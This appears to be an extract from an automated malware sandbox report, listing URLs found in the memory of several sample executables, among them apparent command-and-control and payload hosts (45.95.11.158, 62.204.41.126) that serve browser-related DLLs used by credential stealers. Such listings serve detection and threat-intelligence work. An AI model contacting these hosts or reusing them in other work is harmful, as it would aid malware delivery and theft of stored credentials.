Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll.dll
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll/vcruntime140.dll
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515510324.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll77
Source: F0geI.exe, 00000010.00000002.515510324.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.377456168.0000000000773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll(
Source: F0geI.exe, 00000010.00000003.377456168.0000000000773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllshqos.dll.mui2D
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515510324.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll#7
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlll
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll.dll
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll/vcruntime140.dll62if
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlldll
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlll
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlll97
Source: F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlllQ7
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dllllM74g(
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515510324.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
Source: F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.494086014.00000000007A7000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515955125.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll.
Source: F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll3
Source: F0geI.exe, 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.494086014.00000000007A7000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515955125.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllq
Source: F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.419281163.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.426838277.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlls7fg-
Source: F0geI.exe, 00000010.00000003.372661446.0000000000773000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.372712907.000000000078D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.95.11.158/j
Source: em1B8DcC72.exe, EU1.exe, 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe, 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe.1.dr	String found in binary or memory: http://62.204.41.126:80
Source: EU1.exe, 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe, 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe.1.dr	String found in binary or memory: http://62.204.41.126:801254NULL%s
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: SETUP_~1.EXE, 00000026.00000002.912783596.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: real.exe, 00000015.00000002.866252226.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, real.exe, 00000015.00000003.404313021.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: real.exe, 00000015.00000002.866252226.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctl.181.104.248/
Source: SETUP_~1.EXE, 00000026.00000002.911546615.0000000002B5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cutt.ly
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
